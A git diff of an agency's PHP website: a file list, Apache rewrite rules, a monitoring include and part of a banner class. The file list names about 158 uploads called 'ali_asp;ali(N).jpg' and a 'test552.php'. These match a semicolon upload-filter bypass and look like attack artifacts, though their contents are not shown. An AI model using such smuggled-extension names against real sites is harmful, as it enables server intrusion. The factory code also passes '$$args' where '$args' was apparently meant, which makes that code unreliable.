images/tick.png [new file with mode: 0644]
images/top2.jpg [new file with mode: 0755]
images/user_add.png [new file with mode: 0644]
images/user_edit.png [new file with mode: 0644]
index.php [new file with mode: 0644]
libjs/cluetip/images/arrowdown.gif [new file with mode: 0755]
libjs/cluetip/images/arrowleft.gif [new file with mode: 0755]
libjs/cluetip/images/arrowright.gif [new file with mode: 0755]
libjs/cluetip/images/arrowup.gif [new file with mode: 0755]
libjs/cluetip/images/bl.gif [new file with mode: 0755]
libjs/cluetip/images/bl.png [new file with mode: 0755]
libjs/cluetip/images/br.gif [new file with mode: 0755]
libjs/cluetip/images/br.png [new file with mode: 0755]
libjs/cluetip/images/darrowdown.gif [new file with mode: 0755]
libjs/cluetip/images/darrowleft.gif [new file with mode: 0755]
libjs/cluetip/images/darrowright.gif [new file with mode: 0755]
libjs/cluetip/images/darrowup.gif [new file with mode: 0755]
libjs/cluetip/images/itunes.png [new file with mode: 0755]
libjs/cluetip/images/rarrowdown.gif [new file with mode: 0755]
libjs/cluetip/images/rarrowleft.gif [new file with mode: 0755]
libjs/cluetip/images/rarrowright.gif [new file with mode: 0755]
libjs/cluetip/images/rarrowup.gif [new file with mode: 0755]
libjs/cluetip/images/tl.gif [new file with mode: 0755]
libjs/cluetip/images/tl.png [new file with mode: 0755]
libjs/cluetip/images/tr.gif [new file with mode: 0755]
libjs/cluetip/images/tr.png [new file with mode: 0755]
libjs/cluetip/images/wait.gif [new file with mode: 0755]
libjs/cluetip/jquery.cluetip.css [new file with mode: 0755]
libjs/cluetip/jquery.cluetip.js [new file with mode: 0755]
libjs/cluetip/lib/jquery.bgiframe.min.js [new file with mode: 0755]
libjs/cluetip/lib/jquery.hoverIntent.js [new file with mode: 0755]
libjs/contactform.js [new file with mode: 0755]
libjs/controls.js [new file with mode: 0755]
libjs/dragdrop.js [new file with mode: 0755]
libjs/effects.js [new file with mode: 0644]
libjs/external.js [new file with mode: 0644]
libjs/gsearch.php [new file with mode: 0755]
libjs/homeFeaturedNav.js [new file with mode: 0755]
libjs/jquery-1.0.1.js.bakw [new file with mode: 0644]
libjs/jquery-1.3.2.min.js [new file with mode: 0755]
libjs/jquery.autoScroller.js [new file with mode: 0644]
libjs/jquery.cycle.all.min.js [new file with mode: 0755]
libjs/jquery.js [new file with mode: 0755]
libjs/jquery.json-1.2.min.js [new file with mode: 0755]
libjs/jquery.timers.js [new file with mode: 0644]
libjs/member-list-categories.js [new file with mode: 0644]
libjs/member-list.js [new file with mode: 0644]
libjs/member-search.js [new file with mode: 0644]
libjs/newsletterSignup.js [new file with mode: 0644]
libjs/prototype.js [new file with mode: 0644]
libjs/scriptaculous.js [new file with mode: 0644]
libjs/slider.js [new file with mode: 0755]
libjs/sound.js [new file with mode: 0755]
libjs/testimonials.js [new file with mode: 0644]
libjs/thickbox.js [new file with mode: 0755]
m/internet.html [new file with mode: 0755]
m/logo.gif [new file with mode: 0755]
m/network.html [new file with mode: 0755]
m/quicksite.html [new file with mode: 0755]
m/styles.css [new file with mode: 0755]
m/wireless.html [new file with mode: 0755]
manuals/html/E-Newsletter_1.0.html [new file with mode: 0644]
manuals/html/EventCalendar_1.0.html [new file with mode: 0644]
manuals/html/PhotoGallery_1.0.html [new file with mode: 0644]
manuals/html/ServerStatistics_1.0.html [new file with mode: 0644]
manuals/html/ServerStatistics_1.0_html_717383bd.jpg [new file with mode: 0644]
manuals/html/ServerStatistics_1.0_html_m45668104.jpg [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0.html [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_17e55d9c.png [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_2029294c.png [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_2691f37a.jpg [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_353ca12d.png [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_3d1ede38.jpg [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_412aa01b.jpg [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_70e23e0c.png [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_717383bd.jpg [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_76e0f626.png [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_92c196b.jpg [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_m28494708.jpg [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_m28980d19.jpg [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_m45668104.jpg [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_m4e11eca.jpg [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_m7060cdf7.jpg [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_m78ff242b.png [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_m7d3719bd.png [new file with mode: 0644]
manuals/html/ShoppingSuite_1.0_html_mb007b69.jpg [new file with mode: 0644]
manuals/html/SteveContactsDatabase_1.0.html [new file with mode: 0644]
manuals/html/SteveContactsDatabase_1.0_html_mb007b69.jpg [new file with mode: 0644]
manuals/html/ToolboxUserGuide_1.0.html [new file with mode: 0644]
manuals/html/ToolboxUserGuide_1.0_html_92c196b.jpg [new file with mode: 0644]
manuals/html/ToolboxUserGuide_1.0_html_m28980d19.jpg [new file with mode: 0644]
manuals/html/ToolboxUserGuide_2.0.html [new file with mode: 0644]
manuals/html/images/add-edit-event.png [new file with mode: 0644]
manuals/html/images/album-list.png [new file with mode: 0644]
manuals/html/images/edit-delete-event.png [new file with mode: 0644]
manuals/html/images/event-recur.png [new file with mode: 0644]
manuals/html/images/event-top-links.png [new file with mode: 0644]
manuals/html/images/photo-album-edit.png [new file with mode: 0644]
manuals/html/images/photo-default-text.png [new file with mode: 0644]
manuals/html/images/photo-edit.png [new file with mode: 0644]
manuals/html/images/photo-list.png [new file with mode: 0644]
manuals/html/images/search-event.png [new file with mode: 0644]
manuals/html/images/topic-event.png [new file with mode: 0644]
manuals/pdf/NewsletterUserGuide_1.0.pdf [new file with mode: 0644]
manuals/pdf/ShoppingSuite_1.0.pdf [new file with mode: 0644]
manuals/pdf/SteveContactsDatabase1.0.pdf [new file with mode: 0644]
manuals/pdf/SteveContactsDatabase_1.0.pdf [new file with mode: 0644]
manuals/pdf/ToolboxUserGuide_2.0.pdf [new file with mode: 0644]
portfolio.css [new file with mode: 0755]
searchengine/images/bg.gif [new file with mode: 0755]
searchengine/images/bottom.gif [new file with mode: 0755]
searchengine/images/tip-icon.gif [new file with mode: 0755]
searchengine/images/top.gif [new file with mode: 0755]
searchengine/index.php [new file with mode: 0755]
searchengine/searchengine_news.inc [new file with mode: 0755]
searchengine/styles.css [new file with mode: 0755]
setup.phtml [new file with mode: 0644]
setup_functions.phtml [new file with mode: 0644]
static/100.phtml [new file with mode: 0755]
static/117.phtml [new file with mode: 0755]
static/3.phtml [new file with mode: 0755]
static/49.phtml [new file with mode: 0755]
static/51.phtml [new file with mode: 0755]
static/56.phtml [new file with mode: 0755]
styles.css [new file with mode: 0755]
templates/404-template.html [new file with mode: 0755]
templates/template.html [new file with mode: 0755]
toolbox.css [new file with mode: 0644]
userfiles/file/1005-the-wolf.pdf [new file with mode: 0755]
userfiles/file/21032012(1).xhtml [new file with mode: 0755]
userfiles/file/21032012.xhtml [new file with mode: 0755]
userfiles/file/ali_asp;ali(1).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(10).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(100).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(101).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(102).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(103).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(104).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(105).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(106).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(107).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(108).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(109).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(11).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(110).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(111).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(112).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(113).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(114).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(115).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(116).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(117).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(118).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(119).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(12).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(120).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(121).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(122).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(123).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(124).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(125).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(126).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(127).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(128).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(129).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(13).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(130).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(131).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(132).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(133).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(134).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(135).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(136).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(137).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(138).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(139).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(14).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(140).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(141).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(142).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(143).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(144).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(145).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(146).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(147).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(148).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(149).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(15).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(150).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(151).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(152).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(153).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(154).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(155).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(156).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(157).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(16).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(17).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(18).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(19).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(2).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(20).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(21).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(22).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(23).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(24).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(25).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(26).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(27).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(28).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(29).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(3).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(30).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(31).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(32).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(33).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(34).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(35).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(36).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(37).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(38).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(39).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(4).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(40).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(41).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(42).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(43).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(44).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(45).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(46).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(47).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(48).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(49).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(5).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(50).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(51).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(52).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(53).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(54).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(55).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(56).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(57).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(58).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(59).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(6).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(60).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(61).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(62).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(63).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(64).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(65).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(66).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(67).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(68).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(69).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(7).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(70).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(71).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(72).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(73).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(74).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(75).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(76).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(77).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(78).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(79).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(8).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(80).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(81).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(82).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(83).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(84).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(85).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(86).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(87).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(88).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(89).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(9).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(90).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(91).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(92).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(93).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(94).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(95).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(96).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(97).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(98).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali(99).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali.jpg [new file with mode: 0755]
userfiles/file/evamanual(1).pdf [new file with mode: 0755]
userfiles/file/evamanual(2).pdf [new file with mode: 0755]
userfiles/file/evamanual.pdf [new file with mode: 0755]
userfiles/file/evamanual2012(1).pdf [new file with mode: 0755]
userfiles/file/evamanual2012.pdf [new file with mode: 0755]
userfiles/file/fckcoretestxhtml(1).xhtml [new file with mode: 0755]
userfiles/file/fckcoretestxhtml.xhtml [new file with mode: 0755]
userfiles/file/test552.php [new file with mode: 0755]
webmail/assets/arrow.gif [new file with mode: 0755]
webmail/assets/arrowOn.gif [new file with mode: 0755]
webmail/assets/logo.gif [new file with mode: 0755]
webmail/assets/modus.jpg [new file with mode: 0755]
webmail/assets/newwebmail.jpg [new file with mode: 0755]
webmail/assets/webmail1.gif [new file with mode: 0755]
webmail/assets/webmail2.gif [new file with mode: 0755]
webmail/help.html [new file with mode: 0755]
webmail/help2.html [new file with mode: 0755]
webmail/index.html [new file with mode: 0755]
webmail/popuser.html [new file with mode: 0755]
webmail/spam.html [new file with mode: 0755]
webmail/styles.css [new file with mode: 0755]
webmail/webadmin.html [new file with mode: 0755]
webmail/webuser.html [new file with mode: 0755]

diff --git a/.cvsignore b/.cvsignore
new file mode 100644 (file)
index 0000000..027f934
--- /dev/null
@@ -0,0 +1,2 @@
+uploads uploads.tar
+
diff --git a/.htaccess b/.htaccess
new file mode 100644 (file)
index 0000000..d03dc14
--- /dev/null
+++ b/.htaccess
@@ -0,0 +1,57 @@
+<Files ~ "^\.ht">
+Order allow,deny
+Deny from all
+</Files>
+<Files ~ "\.ini$">
+Order allow,deny
+Deny from all
+</Files>
+<Files ~ "^setup.phtml">
+Order allow,deny
+Deny from all
+</Files>
+#Options -MultiViews
+#ErrorDocument 404 /404.html
+RewriteEngine On
+AddDefaultCharset utf-8
+#RewriteBase /www.gaslightmedia.com/
+##RewriteCond %{HTTP_HOST} !^(.*)\.gaslightmedia\.com$ [NC]
+##RewriteRule ^(.*)$ http://www.gaslightmedia.com.com/$1 [R=301,L]
+RewriteCond %{HTTP_HOST} !^(.*)\.gaslightmedia\.com$ [NC]
+RewriteRule ^(.*)$ http://www.gaslightmedia.com/$1 [R=301,L]
+
+Redirect 301 /connectivity/dsl_wireless_service_agreement.html http://www.gaslightmedia.com/dslwireless-service-agreement-121/
+# Press 
+RewriteRule press-archives/$ index.php?catid=3&archive=1 [L]
+RewriteRule press/([0-9]*)/$ index.php?catid=3&press_id=$1 [L]
+
+# isp recent connected
+RewriteRule ^isp-portfolio-detail-([0-9]*)/([0-9]*)/$ index.php?catid=$1&pcatid=$1&busid=$2 [L]
+RewriteRule ^isp/.*-([0-9]*)/$ index.php?catid=$1 [L]
+RewriteRule ^isp/.*-([0-9]*)/([0-9]*)/$ index.php?catid=$1&pcatid=$2 [L]
+
+# web portfolio
+RewriteRule ^portfolio-category/.*-([0-9]*)/$ index.php?catid=100&pcatid=$1 [L]
+RewriteRule ^portfolio-detail-([0-9]*)/([0-9]*)/$ index.php?catid=100&pcatid=$1&busid=$2 [L]
+RewriteRule ^web/.*-([0-9]*)/$ index.php?catid=$1 [L]
+RewriteRule ^web/.*-([0-9]*)/([0-9]*)/$ index.php?catid=$1&pcatid=$2 [L]
+RewriteRule ^web/.*-([0-9]*)/([0-9]*)/([0-9]*)/$ index.php?catid=$1&pcatid=$2&id=$3 [L]
+
+# rewrites for the toolbox pages
+RewriteRule ^.*-([0-9]*)/index.php index\.php?%{QUERY_STRING}
+RewriteRule ^.*-([0-9]*)/$ index\.php?catid=$1 [L]
+
+#RewriteRule site-map index.php?catid=1&sitemap=1
+AddType application/x-httpd-php .tpl
+
+# short urls
+RewriteCond %{REQUEST_URI} !(^.*-([0-9]*)/$)
+RewriteCond %{REQUEST_URI} !(^support|^mac|^pc|^join|^meeting)
+RewriteRule ^([A-Za-z0-9_-]*)/$ index.php?glmPage=$1 [L]
+
+# Redirects
+RewriteRule ^jobs http://www.gaslightmedia.com/job-openings-131/
+RewriteRule ^jobs/ http://www.gaslightmedia.com/job-openings-131/
+RewriteRule ^billpay https://ws3.gaslightmedia.com/www/index.php?catid=117
+RewriteRule ^wsa http://www.gaslightmedia.com/wireless-service-agreement-136/
+RewriteRule ^responsivedesign http://www.gaslightmedia.com/portfolio-category/Responsive-Design--82/
diff --git a/.htaccess-old b/.htaccess-old
new file mode 100644 (file)
index 0000000..07c1afd
--- /dev/null
@@ -0,0 +1,55 @@
+<Files ~ "^\.ht">
+Order allow,deny
+Deny from all
+</Files>
+<Files ~ "\.ini$">
+Order allow,deny
+Deny from all
+</Files>
+<Files ~ "^setup.phtml">
+Order allow,deny
+Deny from all
+</Files>
+#Options -MultiViews
+#ErrorDocument 404 /404.html
+RewriteEngine On
+AddDefaultCharset utf-8
+#RewriteBase /www.gaslightmedia.com/
+RewriteCond %{HTTP_HOST} !^(.*)\.gaslightmedia\.com$ [NC]
+RewriteRule ^(.*)$ http://www.gaslightmedia.com.com/$1 [R=301,L]
+
+Redirect 301 /connectivity/dsl_wireless_service_agreement.html http://www.gaslightmedia.com/dslwireless-service-agreement-121/
+# Press 
+RewriteRule press-archives/$ index.php?catid=3&archive=1 [L]
+RewriteRule press/([0-9]*)/$ index.php?catid=3&press_id=$1 [L]
+
+# isp recent connected
+RewriteRule ^isp-portfolio-detail-([0-9]*)/([0-9]*)/$ index.php?catid=$1&pcatid=$1&busid=$2 [L]
+RewriteRule ^isp/.*-([0-9]*)/$ index.php?catid=$1 [L]
+RewriteRule ^isp/.*-([0-9]*)/([0-9]*)/$ index.php?catid=$1&pcatid=$2 [L]
+
+# web portfolio
+RewriteRule ^portfolio-category/.*-([0-9]*)/$ index.php?catid=100&pcatid=$1 [L]
+RewriteRule ^portfolio-detail-([0-9]*)/([0-9]*)/$ index.php?catid=100&pcatid=$1&busid=$2 [L]
+RewriteRule ^web/.*-([0-9]*)/$ index.php?catid=$1 [L]
+RewriteRule ^web/.*-([0-9]*)/([0-9]*)/$ index.php?catid=$1&pcatid=$2 [L]
+RewriteRule ^web/.*-([0-9]*)/([0-9]*)/([0-9]*)/$ index.php?catid=$1&pcatid=$2&id=$3 [L]
+
+# rewrites for the toolbox pages
+RewriteRule ^.*-([0-9]*)/index.php index\.php?%{QUERY_STRING}
+RewriteRule ^.*-([0-9]*)/$ index\.php?catid=$1 [L]
+
+#RewriteRule site-map index.php?catid=1&sitemap=1
+AddType application/x-httpd-php .tpl
+
+# short urls
+RewriteCond %{REQUEST_URI} !(^.*-([0-9]*)/$)
+RewriteCond %{REQUEST_URI} !(^support|^mac|^pc|^join|^meeting)
+RewriteRule ^([A-Za-z0-9_-]*)/$ index.php?glmPage=$1 [L]
+
+# Redirects
+RewriteRule ^jobs http://www.gaslightmedia.com/job-openings-131/
+RewriteRule ^jobs/ http://www.gaslightmedia.com/job-openings-131/
+RewriteRule ^billpay https://ws3.gaslightmedia.com/www/index.php?catid=117
+RewriteRule ^wsa http://www.gaslightmedia.com/wireless-service-agreement-136/
+RewriteRule ^responsivedesign http://www.gaslightmedia.com/portfolio-category/Responsive-Design--82/
diff --git a/GLM_site_check.phtml b/GLM_site_check.phtml
new file mode 100644 (file)
index 0000000..91236ba
--- /dev/null
@@ -0,0 +1,12 @@
+<?php 
+/**
+ * GLM Standard Site Monitoring Target
+ */
+
+define('HOST',   'ds3.gaslightmedia.com');
+define('USER',   'nobody');
+define('DBNAME', 'gaslightmedia');
+
+// End of parameters to set for each site
+include '/var/www/templates/Global_site_check.phtml';
+?>
diff --git a/Toolkit/.htaccess b/Toolkit/.htaccess
new file mode 100644 (file)
index 0000000..532b751
--- /dev/null
@@ -0,0 +1,2 @@
+#IndexIgnore */*
+#Options All -Indexes
diff --git a/Toolkit/Banners.php b/Toolkit/Banners.php
new file mode 100644 (file)
index 0000000..6ce0bfc
--- /dev/null
@@ -0,0 +1,392 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category Banners
+ * @package  Toolkit_Banners
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: Banners.php,v 1.1.1.1 2009/09/17 20:08:55 matrix Exp $
+ * @link     http://demo.gaslightmedia.com
+ */
+
+/**
+ * Create, process and display banners
+ *
+ * @category  Banners
+ * @package   Toolkit_Banners
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Banners
+{
+       //      {{{     properties
+
+    /**
+     * Holds the subnav li links
+        *
+     * @var    string   
+     * @access protected
+     */
+       protected $nav;
+
+    /**
+     * Holds the sub-navigation array
+        *
+     * @var    array    
+     * @access protected
+     */
+       protected $navConfig = array();
+
+       /**
+        * Whether bottom banners should be turned on or off
+        *
+        * @var Const
+        * @access Public
+        */
+       const BOTTOM_BANNERS = true;
+
+       /**
+        * Whether side banners should be turned on or off
+        *
+        * @var Const
+        * @access Public
+        */
+       const SIDE_BANNERS = false;
+
+       /**
+        * Whether this client has a memberdb or not
+        *
+        * This directly effects how the create/edit forms for the banner render
+        * as well as how the banners are displayed on the front end. When this is
+        * is turned on, extra select elements appear on the create/edit forms
+        * that allow a user to associate a banner w/ member categories.  And
+        * on the front end, banners associated w/ categories will show up on
+        * the pages.
+        *
+        * FYI: A banner can be associated w/ a member category BUT NOT a 
+        * toolbox navigational page and still show on that page IFF the member
+        * member category was assigned to that page.
+        *
+        * @var Const
+        * @access Public
+        */
+       const HAS_MEMBER_DB = true;
+
+       //      }}}
+       //      {{{     __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO $pdo PHP Data Object to use for DB
+        *
+        * @return void
+        * @access public
+        */
+       public function __construct(PDO $pdo)
+       {
+               $this->dbh = $pdo;
+               if (!empty($_GET['type'])) {
+                       $this->setupDefines();
+               }
+       }
+
+       //      }}}
+
+       //      {{{     createNav()
+
+       /**
+        * Creates the subnav links for the admin
+        *
+        * @return void
+        * 
+        * @author              Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @access              Public
+        */
+       public function createNav()
+       {
+               $subnav = array(
+                       'List Banners'  => 'banners.php?action=listBanners',
+               );
+
+               if (self::BOTTOM_BANNERS) {
+                       $subnav['Create Bottom Banner']
+                = 'banners.php?type=bottom&action=editBottomBanner';
+               }
+               if (self::SIDE_BANNERS) {
+                       $subnav['Create Side Banner']
+                = 'banners.php?type=side&amp;action=editSideBanner';
+               }
+
+               $this->navConfig = $subnav;
+               if (!is_array($this->navConfig)) {
+                       $this->navConfig = (array)$this->navConfig;
+               }
+               if (array_walk($this->navConfig, array($this, 'makeLiLinks'))) {
+                       echo '<ul class="admin_nav">'.$this->nav.'</ul>';
+               }
+       }
+
+       //      }}}
+
+       //      {{{     &factory()
+
+       /**
+        * Provides an interface for generating Banner:: objects of various types
+        *
+        * @param String $driver The kind of Banner:: object to instantiate.
+        *
+        * @return Object Banner an instance of the driver class or if fails
+        *                                               a PEAR error.
+        *
+        * @author      Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @access      Public
+        */
+       public function &factory($driver)
+       {
+               $class = "Toolkit_Banners_$driver";
+               $file  = BASE . str_replace('_', '/', $class) . '.php';
+               //      The class for the driver should reside in this file
+               //      if it doesn't, we have an error.
+               if (file_exists($file)) {
+                       //      The file exists, now make sure the class exists,
+                       //      class_exists calls __autoload by default, so it should
+                       //      automatically load the file when testing for its existance
+                       if (class_exists($class)) {
+                               //      Get all function arguments passed in.
+                               $params = func_get_args();
+                               //      remove the first argument, driver name, and convert
+                               //      to a string delimited by commas so we can pass off
+                               //      to class constructor call.
+                               $args = implode(', ', (array_splice($params, 1)));
+
+                               $instantiatedClass =& new $class($$args);
+                               return $instantiatedClass;
+                       } else {
+                               return PEAR::raiseError("Class $driver does not exist in $file");
+                       }
